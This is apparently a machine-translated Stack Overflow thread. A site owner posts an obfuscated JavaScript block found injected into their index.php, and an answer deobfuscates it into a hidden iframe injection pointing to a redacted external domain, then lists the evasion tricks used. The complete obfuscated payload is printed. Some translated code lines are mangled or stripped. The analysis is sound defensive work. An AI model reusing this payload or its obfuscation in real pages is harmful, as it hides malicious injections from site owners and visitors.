2

该脚本出现在我帮助的网站的 index.php 页面中:

<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>

它似乎做的唯一一件事就是在您尝试打开页面时返回错误。我刚刚删除了它,一切又正常了,但我们不知道它是如何到达那里的,也不知道它是否应该做一些可能有害的事情。该网站托管在 aruba 上,并且可以访问代码的两个人最近都没有在此页面上工作过。

4

2 回答 2

5

所以现在这是一个谜。

漂亮地打印代码,它有 4 个阶段:

  1. 申报 $
  2. 使用 $ 的当前值构造一个字典,然后再次将其分配给 $
  3. 使用字典中的其他值在字典中设置几个额外的键/值对
  4. 构造一个立即调用的嵌套函数调用对

$ 声明,就像这里的所有东西一样,有点奇怪:

$=~[];

在 Chrome 控制台中,这将返回 -1;在数值上下文中计算,[] 变为 0,而 ~(javascript 中的按位 NOT 运算符)在 0 上产生 -1。所以我们有一个分配给-1的变量。毫不含糊!

v = -1;

然后构造一个字典,没有混淆:

$={ ___ : ++$,              dct={ zero  : 0,
  $$$$  : (![] + "")[$],          f     : "f",
  __$   : ++$,                    one   : 1,
  $_$_  : (![] + "")[$],          a     : "a",
  _$_   : ++$,                    two   : 2,
  $_$$  : ({} + "")[$],           b     : "b",
  $$_$  : ($[$] + "")[$],         d     : "d",
  _$$   : ++$,                    three : 3,
  $$$_  : (!"" + "")[$],          e     : "e",
  $__   : ++$,                    four  : 4,
  $_$   : ++$,                    five  : 5,
  $$__  : ({} + "")[$],           c     : "c",
  $$_   : ++$,                    six   : 6,
  $$$   : ++$,                    seven : 7,
  $___  : ++$,                    eight : 8,
  $__$  : ++$                     nine  : 9
  };                            };

所以我们有一个字典,其中包含一些从 0 到 9 的值,以及字母 a 到 f。有人闻到十六进制吗?获取字母的方法是从可预测的js生成的字符串中挑选出子字符串;对于“a”、“e”和“f”,假值加上“”给出“假”。{}+""对 b 和 c给出[object Object], 并undefined得出 d.

接下来,它将字典 ( ) 的 $_(我们称之为 alpha)元素构造为$.$_一系列字符串的串联(到目前为止定义的 unobf 名称,plus_$变为 beta、$$gamma、__delta、 $epsilon、_phi):

(dct.alpha = dct + "")[dct.five]    // dct.alpha = "[object Object]", yields "c"
(dct.beta  = dct.alpha[dct.one])    // dct.beta="o", yields "o"
(dct.gamma = (dct.epsilon + "")[dct.one]) // dct.gamma="n", "n"
((!dct) + "")[dct.three]            // "s"
(dct.delta = dct.alpha[dct.six])    // dct.delta="t", "t"
(dct.epsilon= (!"" + "")[dct.one])  // dct.epsilon="r", "r"
(dct.phi   = (!"" + "")[dct.two])   // dct.phi = "u", "u"
dct.alpha[dct.5]                    // "c"
dct.delta                           // "t"
dct.beta                            // "o"
dct.epsilon                         // "r"

所以所有这些都将 dct.alpha ( $.$_) 设置为“构造函数”。不祥的。类似的设置$.$$(我们称之为 gamma),将其设置为“return”。云变厚了。

另一个重新分配,这次是$.$(我们的 dct.epsilon),将其设置为

dct.epsilon = (dct.zero)[dct.alpha][dct.alpha]

这不仅仅是一个数组查找。dct.zero为 0,所以 (0)["constructor"] 正在查找 0 的 "constructor" 属性。请记住,在 javascript 中 a["b"] 与 ab 相同,(0)["constructor"]["constructor"]因此0.constructor.constructor. 0的构造函数是Number函数,Number函数的构造函数是Function函数。然后将此函数(指针)分配给 dct.epsilon。虫子变了。

最后一条语句是一个嵌套函数调用$.$$

dct.epsilon(                  Function(
  dct.epsilon(                  Function(
    //long concatenation            // something functiony
  )()                           )()
)();                          )()

长连接将传递给函数构造函数,然后立即执行。从这个函数返回的函数也将被立即执行。

实际上,到目前为止,我们所看到的一切都是脚手架。几乎任何函数都可以用这种方式构造,尽管我们对将使用的字母有所了解。我会冒昧地猜测上面是一个通用的混淆,可以容纳任何所需的有效负载。

逐个字符构造的字符串是:

return "docu\155e\156t.\167\162\151te('<d \151 ... // continues

所以我们可以看到那里有转义序列。事实上,返回告诉我们整个文档... 字符串将被帮助取消转义,然后批发返回,为外部调用做好准备。

所以外部调用将收到这个现在未转义的字符串(格式化和拆分字符串以提高可读性):

document.write('' + ''+ '计数器'+ ''+ '' );

我在哪里放了 'HEXYHEXY' 而不是那里的十六进制字符串 - 它可能会将您的网站或病毒作者链接到此页面,我们并不真正想要。iframe src 中的域可能与病毒作者有关,或者它可能只是另一个被入侵的页面;蠕虫可能会使用一个主机通过这种病毒作为中介来引导另一个主机。我的猜测是它只会驱动虚假页面印象 - 每次点击您的页面时,目标页面也是如此,但由于隐藏的 div 容器,没有人看到广告等。“计数器”位只是试图将秘密隐藏在众目睽睽之下。如果您查看浏览器对页面的表示,您所看到的只是一个看似无辜的 Counter iframe。

一些需要避免的 JavaScript 技巧

病毒作者在这里有一些技巧可以避免找到此类脚本的简单方法:

  1. 使用 ASCII 转义,例如\155变成 'm',所以字母永远不会是纯字符串。
  2. 将字符串传递给 Function 函数以构造任意函数,而不是使用eval
  3. 使用可预测的自动生成字符串的子字符串(![]+"")[3] = "false"[3] = "s"来挑选单个字符,而不将它们放入纯字符串中
  4. 无休止地使用和重用带有名称$_名称的变量来迷惑人类读者
  5. 在字典声明中使用变量使得在不执行代码的情况下很难看到静态值。
  6. 任务返回;(a=b)返回 a 的值,因此(a=b)[3] 在赋值的值上返回一个子字符串,同时也进行赋值
  7. 在较大的分配中一次性重新分配变量,例如a = {(a=3):"b",++a:"c"}

所有这些在普通代码中都是一个非常糟糕的主意,因为它们在这里的原因是:它们使代码难以阅读或理解。

于 2012-05-09T16:48:05.417 回答
2

很可能是病毒。这些类型的病毒通过感染主机(几乎总是 Windows),然后将自身复制到他们可以找到的任何 HTML 文件中。然后,当您打开与服务器的连接时,“受感染”的 HTML 文件会被复制过来,最终,您最终会无意中感染或对访问者造成伤害。

使您的防病毒软件保持最新。

于 2012-05-09T11:07:33.687 回答